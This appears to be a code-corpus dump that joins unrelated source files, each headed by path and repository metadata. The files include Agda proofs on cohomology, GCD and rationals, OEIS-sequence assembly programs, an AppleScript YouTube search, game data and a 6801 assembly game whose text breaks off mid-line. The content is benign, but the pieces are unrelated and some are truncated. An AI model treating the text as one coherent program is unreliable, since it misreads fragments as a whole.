(PathIdTrunc₀Iso) p) where helper2 : (Fc : C → coHomK n) (p : d-pre n Fc ≡ (λ _ → coHom-pt (suc n))) (c : C) → ΩKn+1→Kn n (λ i₁ → p i₁ (inl (f c))) -[ n ]ₖ (ΩKn+1→Kn n (λ i₁ → p i₁ (inr (g c)))) ≡ Fc c helper2 Fc p c = distrHelper n _ _ ∙∙ cong (ΩKn+1→Kn n) helper3 ∙∙ Iso.leftInv (Iso-Kn-ΩKn+1 n) (Fc c) where helper3 : (λ i₁ → p i₁ (inl (f c))) ∙ sym (λ i₁ → p i₁ (inr (g c))) ≡ Kn→ΩKn+1 n (Fc c) helper3 = cong ((λ i₁ → p i₁ (inl (f c))) ∙_) (lUnit _) ∙ sym (PathP→compPathR (cong (λ f → cong f (push c)) p)) Im-Δ⊂Ker-d : (n : ℕ) (a : coHom n C) → isInIm (×coHomGr n A B) (coHomGr n C) (Δ n) a → isInKer (coHomGr n C) (coHomGr (suc n) (Pushout f g)) (d n) a Im-Δ⊂Ker-d n = sElim (λ _ → isOfHLevelΠ 2 λ _ → isOfHLevelPath 2 setTruncIsSet _ _) λ Fc → pRec (isOfHLevelPath' 1 setTruncIsSet _ _) (sigmaProdElim (λ _ → isOfHLevelPath 2 setTruncIsSet _ _) λ Fa Fb p → pRec (isOfHLevelPath' 1 setTruncIsSet _ _) (λ q → ((λ i → fun (d n) ∣ (q (~ i)) ∣₂) ∙ dΔ-Id n Fa Fb)) (Iso.fun (PathIdTrunc₀Iso) p)) where d-preLeftId : (n : ℕ) (Fa : A → coHomK n)(d : (Pushout f g)) → d-pre n (Fa ∘ f) d ≡ 0ₖ (suc n) d-preLeftId n Fa (inl x) = Kn→ΩKn+1 n (Fa x) d-preLeftId n Fa (inr x) = refl d-preLeftId n Fa (push a i) j = Kn→ΩKn+1 n (Fa (f a)) (j ∨ i) d-preRightId : (n : ℕ) (Fb : B → coHomK n) (d : (Pushout f g)) → d-pre n (Fb ∘ g) d ≡ 0ₖ (suc n) d-preRightId n Fb (inl x) = refl d-preRightId n Fb (inr x) = sym (Kn→ΩKn+1 n (Fb x)) d-preRightId n Fb (push a i) j = Kn→ΩKn+1 n (Fb (g a)) (~ j ∧ i) dΔ-Id : (n : ℕ) (Fa : A → coHomK n) (Fb : B → coHomK n) → fun (d n) (fun (Δ n) (∣ Fa ∣₂ , ∣ Fb ∣₂)) ≡ 0ₕ (suc n) dΔ-Id n Fa Fb = -distrLemma n (suc n) (d n) ∣ Fa ∘ f ∣₂ ∣ Fb ∘ g ∣₂ ∙∙ (λ i → ∣ (λ x → d-preLeftId n Fa x i) ∣₂ -[ (suc n) ]ₕ ∣ (λ x → d-preRightId n Fb x i) ∣₂) ∙∙ rCancelₕ (suc n) (0ₕ (suc n))
TestData/multiple_results_f64.asm
robertmuth/Cwerg
171
85617
# demonstrates multiple return values # ======================================== # function with 5 return values .fun multi NORMAL [F64 F64 F64 F64] = [F64 F64] .bbl start poparg a:F64 poparg b:F64 add add:F64 = a b sub sub:F64 = a b mul mul:F64 = a b div div:F64 = a b # rem mod:F64 = a b # pusharg mod pusharg div pusharg mul pusharg sub pusharg add ret # ======================================== .fun main NORMAL [S32] = [] .reg F64 [a s m d M x y] .reg A64 [f] .bbl start mov xi:S32 = 70 mov yi:S32 = 6 conv x xi conv y yi pusharg y pusharg x bsr multi poparg a poparg s poparg m poparg d # poparg M conv a2:U32 a pusharg a2 bsr print_u_ln conv s2:U32 s pusharg s2 bsr print_u_ln conv m2:U32 m pusharg m2 bsr print_u_ln conv d2:U32 d pusharg d2 bsr print_u_ln # conv M2:U32 M # pusharg M2 # bsr print_num_ln pusharg 0:S32 ret
programs/oeis/304/A304169.asm
karttu/loda
0
91709
; A304169: a(n) = 16*3^n + 2^(n+1) - 26 (n>=1). ; 26,126,422,1302,3926,11766,35222,105462,315926,946806,2838422,8511222,25525526,76560246,229648022,688878582,2066504726,6199252086,18597232022,55790647542,167369845526,502105342326,1506307638422,4518906138102,13556684859926,40669987470966,122009828195222,366029216150262,1098087111579926,3294260260998006 mov $3,6 mov $4,6 lpb $0,1 sub $0,1 mul $3,3 add $4,1 lpe mov $0,2 mov $1,$3 mov $2,1 sub $4,5 add $2,$4 pow $0,$2 mul $1,8 add $1,$0 sub $1,8 mul $1,2 sub $1,84 div $1,8 mul $1,4 add $1,26
searchVoxTrackOnYoutube.applescript
tudorminator/search-on-youtube
0
2077
<filename>searchVoxTrackOnYoutube.applescript tell application "VOX" set trackInfo to quote & artist & quote & " - " & quote & track & quote end tell tell application "Google Chrome" make new tab at first window with properties {URL:"https://www.youtube.com/results?search_query=" & trackInfo} activate end tell
Data/ships/Plate.asm
ped7g/EliteNext
0
245394
Plate: DB $80, $00, $64 DW PlateEdges DB PlateEdgesSize DB $00, $0A DB PlateVertSize DB PlateEdgesCnt DB $00, $00 DB PlateNormalsSize DB $05, $10, $10 DW PlateNormals DB $03, $00 DW PlateVertices DB 0,0 ; Type and Tactics PlateVertices: DB $0F, $16, $09, $FF, $FF, $FF DB $0F, $26, $09, $BF, $FF, $FF DB $13, $20, $0B, $14, $FF, $FF PlateVertSize: equ $ - PlateVertices PlateEdges: DB $1F, $FF, $00, $04 DB $10, $FF, $04, $08 DB $14, $FF, $08, $0C DB $10, $FF, $0C, $00 PlateEdgesSize: equ $ - PlateEdges PlateEdgesCnt: equ PlateEdgesSize/4 PlateNormals: DB $00, $00, $00, $00 PlateNormalsSize: equ $ - PlateNormals PlateLen: equ $ - Plate
programs/oeis/180/A180516.asm
neoneye/loda
22
80493
; A180516: Numbers of the form i*4^j-1 (i=1..3, j >= 0). ; 0,1,2,3,7,11,15,31,47,63,127,191,255,511,767,1023,2047,3071,4095,8191,12287,16383,32767,49151,65535,131071,196607,262143,524287,786431,1048575,2097151,3145727,4194303,8388607,12582911,16777215,33554431,50331647,67108863,134217727,201326591,268435455,536870911,805306367,1073741823,2147483647,3221225471 mov $1,$0 sub $1,1 mov $2,$0 lpb $1 add $2,2 sub $2,$0 mov $0,$2 trn $2,$1 sub $1,1 mul $2,2 add $2,$0 trn $0,$1 lpe
oeis/224/A224332.asm
neoneye/loda-programs
11
174813
; A224332: Number of idempotent n X n 0..7 matrices of rank n-1. ; Submitted by <NAME>(s3) ; 1,30,381,4092,40955,393210,3670009,33554424,301989879,2684354550,23622320117,206158430196,1786706395123,15393162788850,131941395333105,1125899906842608,9570149208162287,81064793292668910,684547143360315373,5764607523034234860,48422703193487572971,405828369621610135530,3394200909562557497321,28334198897217871282152,236118324143482260684775,1964504456873772408897510,16320498564797493858533349,135399691796838467567091684,1121883160602375874127331299,9284550294640352061743431650 add $0,1 mov $2,8 pow $2,$0 sub $2,4 mul $0,$2 sub $0,4 div $0,4 add $0,1
src/boot/libc/stdlib/uitoa.asm
richgieg/RichOS
5
99046
;//////////////////////////////////////////////////////////////////////////////; ;/// char * uitoa(int value, char * str) ///; ;//////////////////////////////////////////////////////////////////////////////; ; Label for procedure. uitoa: ;//////////////////////////////////////////////////////////////////////////////; ;/// Initialization code. ///; ;//////////////////////////////////////////////////////////////////////////////; ; Create stack frame. push bp mov bp,sp ; Define aliases for arguments. %define .arg0 bp+4 %define .arg1 bp+6 ; Define aliases for local variables. %define .value bp-4 %define .str bp-2 ; Allocate space for local variables on the stack. sub sp,4 ; Make local copies of arguments. mov ax,[.arg0] mov [.value],ax mov ax,[.arg1] mov [.str],ax ; Preserve register state. push bx push cx push dx ;//////////////////////////////////////////////////////////////////////////////; ;/// Procedure code. ///; ;//////////////////////////////////////////////////////////////////////////////; mov bx,[.str] mov cx,10000 .loop: mov ax,[.value] sub dx,dx div cx test al,al jnz .concat cmp bx,[.str] jz .skip_concat .concat: add al,'0' mov [bx],al inc bx .skip_concat: mov [.value],dx mov ax,cx mov cx,10 sub dx,dx div cx test al,al jz .exit_loop mov cx,ax jmp .loop .exit_loop: cmp bx,[.str] jnz .terminate_string mov byte [bx],'0' inc bx .terminate_string: mov byte [bx], 0 ;//////////////////////////////////////////////////////////////////////////////; ;/// Deinitialization code. ///; ;//////////////////////////////////////////////////////////////////////////////; ; Restore register state. pop dx pop cx pop bx ; Free local variable stack space. add sp,4 ; Return value. mov ax,[.str] ; Release stack frame and return. pop bp ret
Cubical/Data/Nat/GCD.agda
dan-iel-lee/cubical
0
15728
{-# OPTIONS --cubical --no-import-sorts --safe #-} module Cubical.Data.Nat.GCD where open import Cubical.Foundations.Prelude open import Cubical.Foundations.Function open import Cubical.Foundations.HLevels open import Cubical.Foundations.Equiv open import Cubical.Foundations.Isomorphism open import Cubical.Induction.WellFounded open import Cubical.Data.Fin open import Cubical.Data.Sigma as Σ open import Cubical.Data.NatPlusOne open import Cubical.HITs.PropositionalTruncation as PropTrunc open import Cubical.Data.Nat.Base open import Cubical.Data.Nat.Properties open import Cubical.Data.Nat.Order open import Cubical.Data.Nat.Divisibility private variable m n d : ℕ -- common divisors isCD : ℕ → ℕ → ℕ → Type₀ isCD m n d = (d ∣ m) × (d ∣ n) isPropIsCD : isProp (isCD m n d) isPropIsCD = isProp× isProp∣ isProp∣ symCD : isCD m n d → isCD n m d symCD (d∣m , d∣n) = (d∣n , d∣m) -- greatest common divisors isGCD : ℕ → ℕ → ℕ → Type₀ isGCD m n d = (isCD m n d) × (∀ d' → isCD m n d' → d' ∣ d) GCD : ℕ → ℕ → Type₀ GCD m n = Σ ℕ (isGCD m n) isPropIsGCD : isProp (isGCD m n d) isPropIsGCD = isProp× isPropIsCD (isPropΠ2 (λ _ _ → isProp∣)) isPropGCD : isProp (GCD m n) isPropGCD (d , dCD , gr) (d' , d'CD , gr') = Σ≡Prop (λ _ → isPropIsGCD) (antisym∣ (gr' d dCD) (gr d' d'CD)) symGCD : isGCD m n d → isGCD n m d symGCD (dCD , gr) = symCD dCD , λ { d' d'CD → gr d' (symCD d'CD) } divsGCD : m ∣ n → isGCD m n m divsGCD p = (∣-refl refl , p) , λ { d (d∣m , _) → d∣m } oneGCD : ∀ m → isGCD m 1 1 oneGCD m = symGCD (divsGCD (∣-oneˡ m)) -- The base case of the Euclidean algorithm zeroGCD : ∀ m → isGCD m 0 m zeroGCD m = divsGCD (∣-zeroʳ m) private lem₁ : prediv d (suc n) → prediv d (m % suc n) → prediv d m lem₁ {d} {n} {m} (c₁ , p₁) (c₂ , p₂) = (q · c₁ + c₂) , p where r = m % suc n; q = n%k≡n[modk] m (suc n) .fst p = (q · c₁ + c₂) · d ≡⟨ sym (·-distribʳ (q · c₁) c₂ d) ⟩ (q · c₁) · d + c₂ · d ≡⟨ cong (_+ c₂ · d) (sym (·-assoc q c₁ d)) ⟩ q · (c₁ · d) + c₂ · d ≡[ i ]⟨ q · (p₁ i) + (p₂ i) ⟩ q · (suc n) + r ≡⟨ n%k≡n[modk] m (suc n) .snd ⟩ m ∎ lem₂ : prediv d (suc n) → prediv d m → prediv d (m % suc n) lem₂ {d} {n} {m} (c₁ , p₁) (c₂ , p₂) = c₂ ∸ q · c₁ , p where r = m % suc n; q = n%k≡n[modk] m (suc n) .fst p = (c₂ ∸ q · c₁) · d ≡⟨ ∸-distribʳ c₂ (q · c₁) d ⟩ c₂ · d ∸ (q · c₁) · d ≡⟨ cong (c₂ · d ∸_) (sym (·-assoc q c₁ d)) ⟩ c₂ · d ∸ q · (c₁ · d) ≡[ i ]⟨ p₂ i ∸ q · (p₁ i) ⟩ m ∸ q · (suc n) ≡⟨ cong (_∸ q · (suc n)) (sym (n%k≡n[modk] m (suc n) .snd)) ⟩ (q · (suc n) + r) ∸ q · (suc n) ≡⟨ cong (_∸ q · (suc n)) (+-comm (q · (suc n)) r) ⟩ (r + q · (suc n)) ∸ q · (suc n) ≡⟨ ∸-cancelʳ r zero (q · (suc n)) ⟩ r ∎ -- The inductive step of the Euclidean algorithm stepGCD : isGCD (suc n) (m % suc n) d → isGCD m (suc n) d fst (stepGCD ((d∣n , d∣m%n) , gr)) = PropTrunc.map2 lem₁ d∣n d∣m%n , d∣n snd (stepGCD ((d∣n , d∣m%n) , gr)) d' (d'∣m , d'∣n) = gr d' (d'∣n , PropTrunc.map2 lem₂ d'∣n d'∣m) -- putting it all together using well-founded induction euclid< : ∀ m n → n < m → GCD m n euclid< = WFI.induction <-wellfounded λ { m rec zero p → m , zeroGCD m ; m rec (suc n) p → let d , dGCD = rec (suc n) p (m % suc n) (n%sk<sk m n) in d , stepGCD dGCD } euclid : ∀ m n → GCD m n euclid m n with n ≟ m ... | lt p = euclid< m n p ... | gt p = Σ.map-snd symGCD (euclid< n m p) ... | eq p = m , divsGCD (∣-refl (sym p)) isContrGCD : ∀ m n → isContr (GCD m n) isContrGCD m n = euclid m n , isPropGCD _ -- the gcd operator on ℕ gcd : ℕ → ℕ → ℕ gcd m n = euclid m n .fst gcdIsGCD : ∀ m n → isGCD m n (gcd m n) gcdIsGCD m n = euclid m n .snd isGCD→gcd≡ : isGCD m n d → gcd m n ≡ d isGCD→gcd≡ dGCD = cong fst (isContrGCD _ _ .snd (_ , dGCD)) gcd≡→isGCD : gcd m n ≡ d → isGCD m n d gcd≡→isGCD p = subst (isGCD _ _) p (gcdIsGCD _ _) -- multiplicative properties of the gcd isCD-cancelʳ : ∀ k → isCD (m · suc k) (n · suc k) (d · suc k) → isCD m n d isCD-cancelʳ k (dk∣mk , dk∣nk) = (∣-cancelʳ k dk∣mk , ∣-cancelʳ k dk∣nk) isCD-multʳ : ∀ k → isCD m n d → isCD (m · k) (n · k) (d · k) isCD-multʳ k (d∣m , d∣n) = (∣-multʳ k d∣m , ∣-multʳ k d∣n) isGCD-cancelʳ : ∀ k → isGCD (m · suc k) (n · suc k) (d · suc k) → isGCD m n d isGCD-cancelʳ {m} {n} {d} k (dCD , gr) = isCD-cancelʳ k dCD , λ d' d'CD → ∣-cancelʳ k (gr (d' · suc k) (isCD-multʳ (suc k) d'CD)) gcd-factorʳ : ∀ m n k → gcd (m · k) (n · k) ≡ gcd m n · k gcd-factorʳ m n zero = (λ i → gcd (0≡m·0 m (~ i)) (0≡m·0 n (~ i))) ∙ 0≡m·0 (gcd m n) gcd-factorʳ m n (suc k) = sym p ∙ cong (_· suc k) (sym q) where k∣gcd : suc k ∣ gcd (m · suc k) (n · suc k) k∣gcd = gcdIsGCD (m · suc k) (n · suc k) .snd (suc k) (∣-right m , ∣-right n) d' = ∣-untrunc k∣gcd .fst p : d' · suc k ≡ gcd (m · suc k) (n · suc k) p = ∣-untrunc k∣gcd .snd d'GCD : isGCD m n d' d'GCD = isGCD-cancelʳ _ (subst (isGCD _ _) (sym p) (gcdIsGCD (m · suc k) (n · suc k))) q : gcd m n ≡ d' q = isGCD→gcd≡ d'GCD -- Q: Can this be proved directly? (i.e. without a transport) isGCD-multʳ : ∀ k → isGCD m n d → isGCD (m · k) (n · k) (d · k) isGCD-multʳ {m} {n} {d} k dGCD = gcd≡→isGCD (gcd-factorʳ m n k ∙ cong (_· k) r) where r : gcd m n ≡ d r = isGCD→gcd≡ dGCD
data/pokemon/base_stats/caterpie.asm
opiter09/ASM-Machina
1
18628
<reponame>opiter09/ASM-Machina db DEX_CATERPIE ; pokedex id db 45, 30, 35, 45, 20 ; hp atk def spd spc db BUG, BUG ; type db 255 ; catch rate db 53 ; base exp INCBIN "gfx/pokemon/front/caterpie.pic", 0, 1 ; sprite dimensions dw CaterpiePicFront, CaterpiePicBack db TACKLE, STRING_SHOT, NO_MOVE, NO_MOVE ; level 1 learnset db GROWTH_MEDIUM_FAST ; growth rate ; tm/hm learnset tmhm ; end db 0 ; padding
src/Rationals/Add/Comm.agda
ice1k/Theorems
1
12303
<gh_stars>1-10 module Rationals.Add.Comm where open import Equality open import Function open import Nats using (zero; ℕ) renaming (suc to s; _+_ to _:+:_; _*_ to _:*:_) open import Rationals open import Rationals.Properties open import Nats.Add.Comm open import Nats.Multiply.Distrib open import Nats.Multiply.Comm ------------------------------------------------------------------------ -- internal stuffs private a/c+b/c=a*b/c : ∀ a b c → a ÷ c + b ÷ c ≡ (a :+: b) ÷ c a/c+b/c=a*b/c a b c rewrite (a :+: b) ÷ c ↑ c | sym $ nat-multiply-distrib a b c = refl a+b=b+a : ∀ x y → x + y ≡ y + x a+b=b+a (a ÷ c) (b ÷ d) rewrite a ÷ c ↑ d | b ÷ d ↑ c | a/c+b/c=a*b/c (a :*: d) (b :*: c) $ d :*: c | nat-add-comm (a :*: d) $ b :*: c | nat-multiply-comm c d = refl ------------------------------------------------------------------------ -- public aliases rational-add-comm : ∀ x y → x + y ≡ y + x rational-add-comm = a+b=b+a
examples/davis/suks.asm
jamieleecho/tasm6801
8
83570
;======================================== ;S.U & K. S. - Shoot Upward & Kill Stuff ;Written by <NAME> in 2020 (Thanks for the spare time, China!) ;Released to the public domain. ;tasm6801 suks.asm ; ;Conventions: ;camelCase - global variables, functions and labels ;_camelCase - local variables and labels ;PascalCase - global numeric constants and module names ;_PascalCase - local numeric constants ; ;I realize some of this is non-standard but it is what ;looks good to me and is easier to type. ; ;This is my first assembly program in 10 years, my first ;on an 8-bit computer in 35 years, and my first on a ;68xx ever. Please forgive the inelegant, brute-force coding. ;======================================== ;Constants ;======================================== ;zero page pointers TimerControl .equ $08 ;bit 3 set = OutCompare int2 CPUTicks .equ $09 ;894886.25 khz. 1 tick = 0.00000111746s = 1.11746us CPUTicksLow .equ $0a CPUTicksPerMS .equ 895 ;895 ticks = 1 milliscond OutCompare .equ $0b OutCompareLow .equ $0c OutCompareVal .equ 3428 Adder .equ $ee ;Adder should always = 0 AdderLow .equ $ef ;for adding 8 bit number to 'd' B0 .equ $f0 ;pseudo-registers B1 .equ $f1 B2 .equ $f2 B3 .equ $f3 B4 .equ $f4 B5 .equ $f5 W0 .equ $f6 W1 .equ $f8 W2 .equ $fa W3 .equ $fc W4 .equ $fe ;---------------------------------------- ;Constants for 32x16 text mode (64x32 semi-graphics) ;The virtual screen is 0-255 (pixels) in both x and y. ;The playfield is from 64,64 to 127,93 (status bar not included). ;This is so enemies can move in to and out of the top/bottom of ;screen. Left and right side clipping was too slow and was removed. ;Sprites should not be allowed to move off the left or right edges. ScreenBytesX .equ 32 ScreenBytesY .equ 16 ScreenWidth .equ 64 ;in "pixels" ScreenHeight .equ 32 PlayfieldWidth .equ 64 ;in pixels PlayfieldHeight .equ 30 ;in pixels (visible screen minus status bar) PlayfieldX1 .equ 64 PlayfieldY1 .equ 64 PlayfieldX2 .equ PlayfieldX1+PlayfieldWidth-1 PlayfieldY2 .equ PlayfieldY1+PlayfieldHeight-1 BytesPerRow .equ ScreenBytesX VideoRAM .equ $4000 VideoRAMLen .equ ScreenBytesX*ScreenBytesY ;$200/512 VideoRAMEnd .equ VideoRAM+VideoRAMLen-1 VDGReg .equ $bfff VDGColorSet0 .equ $00 VDGColorSet1 .equ $40 BackgroundByte .equ $80 ;black BackgroundWord .equ $8080 ;black GreenPixel .equ 128 YellowPixel .equ 144 BluePixel .equ 160 RedPixel .equ 176 BuffPixel .equ 192 CyanPixel .equ 208 MagentaPixel .equ 224 OrangePixel .equ 240 DirUp .equ 0 DirDown .equ 1 DirLeft .equ 2 DirRight .equ 3 ;======================================== ;Global Variables ;======================================== .org $4c00 .execstart nop ;Reset vector requires nop. ldd #$4c00 std $4221 jmp initialize vdgColorSet .byte $00 ;current color set deltaTicks .word $0000 cpuTicksSave .word $0000 deltaMS .word $0000 warmStart .byte $00 ;set to 1 at initialization. Check after reset. buff .fill 16,0 ;general purpose buffer GameModeOpenScreen .equ 0 ;opening screen GameModePlayInit .equ 1 ;init screen, sprites, etc. for game play GameModeStageInit .equ 2 ;initialize the stage GameModeStageIntro .equ 3 ;displaying the stage # to user, continue after death GameModeStagePlay .equ 4 ;game play GameModeStageBonus .equ 5 ;bonus stage GameModeStageOver .equ 6 GameModePause .equ 7 GameModeGameOver .equ 8 gameMode .byte $00 ;current game mode gameModeArray .word modeOpenScreen, modePlayInit, modeStageInit, modeStageIntro _gma1 .word modeStagePlay, modeStageBonus, modeStageOver, modePause, modeGameOver StageTypeNormal .equ 1 StageTypeBonus .equ 2 StageType .equ 0 ;stage type (1 = normal enemy attack) StageSpeed .equ 1 ;speed adjust (difficulty level) StageSeconds .equ 2 ;length, in seconds, of the stage StageEnemyPairs .equ 3 ;chance/enemy# pairs StageTitle .equ 13 ;pairs = % chance/enemy # (127,2, 255,3 = 50% chance of enemy 2, 50% of enemy 3. 0,0 = none) ; typ spd len pair1 pair2 pair3 pair4 pair5 title stageData1: .byte StageTypeNormal, 0, 30, 255,0, 0,0, 0,0, 0,0, 0,0, "easy as pie!",0 stageData2: .byte StageTypeNormal, 0, 45, 255,0, 0,0, 0,0, 0,0, 0,0, '"',"extra",'"'," easy...",0 stageData3: .byte StageTypeNormal, 0, 45, 255,1, 0,0, 0,0, 0,0, 0,0, "look out below!",0 stageData4: .byte StageTypeNormal, 0, 60, 128,0, 255,1, 0,0, 0,0, 0,0, "double trouble",0 stageData5: .byte StageTypeBonus, 0, 15, 0,0, 0,0, 0,0, 0,0, 0,0, "bonus stage!",0 stageData6: .byte StageTypeNormal, 16, 60, 128,0, 255,1, 0,0, 0,0, 0,0, "turning it up a notch",0 stageData7: .byte StageTypeNormal, 16, 45, 255,2, 0,0, 0,0, 0,0, 0,0, "a new threat",0 stageData8: .byte StageTypeNormal, 16, 60, 128,2, 255,1, 0,0, 0,0, 0,0, "todo: witty title",0 stageData9: .byte StageTypeNormal, 16, 60, 85,2, 170,0, 255,1, 0,0, 0,0, "triple play",0 stageData10: .byte StageTypeBonus, 16, 30, 0,0, 0,0, 0,0, 0,0, 0,0, "bonus stage!",0 stageData11: .byte StageTypeNormal, 24, 60, 85,2, 170,1, 255,0, 0,0, 0,0, "turning it up to 11",0 stageData12: .byte StageTypeNormal, 24, 60, 255,3, 0,0, 0,0, 0,0, 0,0, "smarter than the average alien",0 stageData13: .byte StageTypeNormal, 24, 60, 64,3, 128,2, 192,1, 255,0, 0,0, "all together now",0 stageData14: .byte StageTypeNormal, 24, 60, 255,4, 0,0, 0,0, 0,0, 0,0, "space demons! because...why not?",0 stageData15: .byte StageTypeBonus, 24, 45, 0,0, 0,0, 0,0, 0,0, 0,0, "bonus stage!",0 stageData16: .byte StageTypeNormal, 24, 60, 51,4, 102,3, 153,2, 204,1,255,0, "to infinity...and beyond",0 stageArray .word stageData1,stageData2,stageData3,stageData4,stageData5,stageData6 _sa1: .word stageData7,stageData8,stageData9,stageData10,stageData11,stageData12 _sa2: .word stageData13,stageData14,stageData15,stageData16 StageMax .equ 16 StageStart .equ 1 ;for testing stageType .byte $00 stageSpeed .byte $00 stageCurrent .byte $00 ;the current stage stageCurrentBCD .byte $00 ;the current stage in BCD stageData .word $0000 ;pointer to current stage data stageTimer .word $0000 stageSecondsLeft .byte $00 ;seconds left in stage StageSecondsDefault .equ 30 ;60 seconds default ;Strings ;Reverse video (lower case) is the default. stringTitle .text "S.U&K.S.",0 stringVersion .text "v1.01",0 stringScore .text "score:000000",0 stringTimer .text "t:00",0 stringLives .text "l:00",0 stringExtra .text '['-64,"extra",']'-64,0 stringTitle1 .text "hoot",0 stringTitle2 .text "pward",0 stringTitle3 .text "ill",0 stringTitle4 .text "tuff",0 stringAuthor .text "written by:<NAME>",0 stringLeftRight .text "a/s = left/right",0 stringFire .text "space = fire",0 stringBreak .text "break = pause/quit",0 stringStart .text "enter = start",0 stringNewHighScore .text "new " ;no terminator, keep right above stringHighScore stringHighScore .text "high score:000000",0 stringStage .text "stage 00",0 stringGameOver .text "game over",0 stringPause .text "q = quit : enter = resume",0 ;These three must be kept together and in order for bcd math routines. scoreHigh .word $0000 ;32-bit BCD score value score .word $0000 ;Only 6 digits displayed. points .word $0100 ;BCD value to add to score highScoreHigh .word $0000 ;32-bit BCD score value highScore .word $0000 ;Only 6 digits displayed. cheating .byte $00 lives .byte $02 ;current lives LivesStart .equ $02 ;# of extra lives, not counting starting life ;LivesMax .equ $99 extraValue .byte $00 ExtraTimeout .equ 250 extraTimer .word $0000 ExtraFlashes .equ 6 extraFlashCount .byte $00 extraSpawnTimer .word $0000 ExtraSpawnTimeout .equ 8000 ;---------------------------------------- ;Sound variables and data soundPriority .word 0 ;priority 0 = none active, 1 - 255 (highest) soundCount .word 0 ;Number of transitions left in current sound trio. soundToggle .word 0 ;sound bit storage soundTicksHigh .word 0 ;Number of ticks to keep square wave high, of current sound trio. soundTicksLow .word 0 ;Number of ticks to keep square wave low, of current sound trio. soundData .word 0 ;Pointer to currently playing trio soundNoToggle .byte 0 ;1 = don't toggle bit, for silent delays ;soundFormat: priority byte/unused byte, (count, ticks high, ticks low)...0,0,0 terminators ;count = number of cycles to play ;ticks high/low = # of ticks to keep bit high or low (i.e. the duty cycle). ;if ticks low = 0 then ticks high used for ticks low also and bit is not toggled (for silent delays). ;in theory, xx,1714,1714 = middle C ((1/261hz) / 0.00000111746) / 2 = 1714 soundFire .word $0100, 15,200,400, 15,250,500, 15,300,600, 15,350,700, 15,400,800, 0,0,0 soundPlayerDeath .word $f800, 50,400,800,50,200,600,50,700,200,50,300,500, _spd2 .word 50,200,900,50,300,410,50,248,342,50,328,609, _spd3 .word 50,446,200,50,150,762,50,700,200,50,300,500, _spd4 .word 50,120,350,50,270,877,50,200,300,50,700,340, _spd5 .word 50,400,600,50,120,350,50,700,200,50,300,500,0,0,0 soundEnemyDeath .word $0200, 15,800,800,15,800,0,15,800,800,15,800,0,15,800,800,15,800,0,15,800,800,0,0,0 soundTimerExpiring .word $f000, 30,2000,2000,0,0,0 ;soundStageIntro .word $f000, 20,2000,2000, 20,1800,1800, 20,1600,1600, 20,1400,1400 soundStageIntro .word $f100, 20,1000,1000, 20,900,900, 20,800,800, 20,700,700 _ssi2 .word 20,600,600, 20,500,500, 20,400,400, 20,300,300 _ssi3 .word 20,300,300, 20,200,200, 20,100,100, 20,100,100,0,0,0 soundExtraLife .word $f100, 200,400,400, 0,0,0;25,1000,0,200,400,400, 25,1000,0, _sel2 .word 200,400,400, 25,1000,0,200,400,400, 25,1000,0, 0,0,0 soundExtraLifeLong .word $f100, 200,400,400, 25,1000,0,200,400,400, 25,1000,0, _sell2 .word 200,400,400, 25,1000,0,200,400,400, 25,1000,0, 0,0,0 ;soundWarn .word $f100, 200,1000,1000, 25,1000,0,200,900,900, 25,1000,0, ;_sw1 .word 200,1000,1000, 200,900,900, 0,0,0 soundBonusItem .word $01000, 30,800,800,0,0,0 ;---------------------------------------- ;Sprite definition SpriteFrameSeq .equ 0 SpriteFrameCount .equ 2 ;Number of frame sets in sequence. SpriteFrameDels .equ 3 SpriteMovePat .equ 5 SpriteWidth .equ 7 ;in pixels SpriteHeight .equ 8 ;in pixels SpriteSpeed .equ 9 ;# of ms ticks between moves SpriteX .equ 11 ;in pixels SpriteY .equ 12 ;in pixels SpriteDir .equ 13 ;0=up,1=down,2=left,3=right SpriteActive .equ 14 SpriteCurFrame .equ 15 SpriteCurCount .equ 16 ;frame delay counter SpriteTimer .equ 18 ;used with move routine SpriteStage .equ 20 ;used with move routine SpriteLastX .equ 21 SpriteLastY .equ 22 SpriteFramePtr .equ 23 SpriteAltColor .equ 25 SpriteNeedDraw .equ 26 SpriteNeedErase .equ 27 SpriteSpeedCount .equ 28 SpriteKillNow .equ 30 SpriteX2 .equ 31 ;in pixels SpriteY2 .equ 32 ;in pixels SpriteType .equ 33 SpriteMoved .equ 34 SpriteKillFunc .equ 35 SpritePointValue .equ 37 ;BCD score value for enemies SpriteW0 .equ 39 ;private storage for sprite SpriteW1 .equ 41 ;can also use SpriteB0-B3 aliases SpriteShotFunc .equ 43 SpriteShotsLeft .equ 45 SpriteIndex .equ 46 ;index in to type (0-2 enemy, etc.) SizeOfSprite .equ 47 SpriteB0 .equ 39 ;byte aliases for sprite private storage SpriteB1 .equ 40 SpriteB2 .equ 41 SpriteB3 .equ 42 ;---------------------------------------- ;Player sprite PlayerDefaultSpeed .equ 25 playerSprite: playerFrameSeq .word playerFrameSeq0 playerFrameCount .byte 2 playerFrameDels .word playerDelays0 playerMovePat .word movePatPlayer playerWidth .byte 6 playerHeight .byte 4 playerSpeed .word PlayerDefaultSpeed playerX .byte 0 playerY .byte 0 playerDir .byte 0 playerActive .byte 1 playerCurFrame .byte 0 playerCurCount .word 0 playerTimer .word 0 playerStage .byte 0 playerLastX .byte 0 playerLastY .byte 0 playerFramePtr .word $0000 playerAltColor .byte 0 playerNeedDraw .byte 0 playerNeedErase .byte 0 playerSpeedCount .word 0 playerKillNow .byte 0 playerX2 .byte 0 playerY2 .byte 0 playerSpriteType .byte SpriteTypePlayer playerMoved .byte 0 playerKillFunc .word $0000 playerPointValue .word 0 playerW0 .word 0 playerW1 .word 0 playerShotFunc .word $0000 ;only used with enemies playerShotsLeft .word 0 ;only used with enemies playerIndex .byte 0 ;only used with enemies ;not part of sprite data playerAllowFire .byte 1 ;---------------------------------------- ;Sprite globals SpriteTypeNone .equ 0 SpriteTypePlayer .equ 1 SpriteTypePShot .equ 2 SpriteTypeEnemy .equ 3 SpriteTypeEShot .equ 4 pShotFireDelay .byte 10 ;Number of player move timeouts between pShots. pShotFireCount .byte 0 PShotCount .equ 4 ;max pShots pShotSprites .word $0000 ;pointer to first pShot sprite EnemyCount .equ 3 ;max enemies enemySprites .word $0000 ;pointer to first enemy sprite EShotCount .equ 3 ;max eShots eShotSprites .word $0000 ;pointer to first enemy shot SpriteCount .equ 1+PShotCount+EnemyCount+EShotCount spriteArray .fill (SpriteCount*2),0 ;pointers to sprites spriteData .fill ((SpriteCount-1)*SizeOfSprite),0 ;buffer for pShots, enemies, eShots ;======================================== ;Code ;======================================== .module MainLoop initialize: ldab $ff cmpb #123 bne _noCheat ldaa #1 staa cheating _noCheat: clr Adder tst warmStart bne _warmStart inc 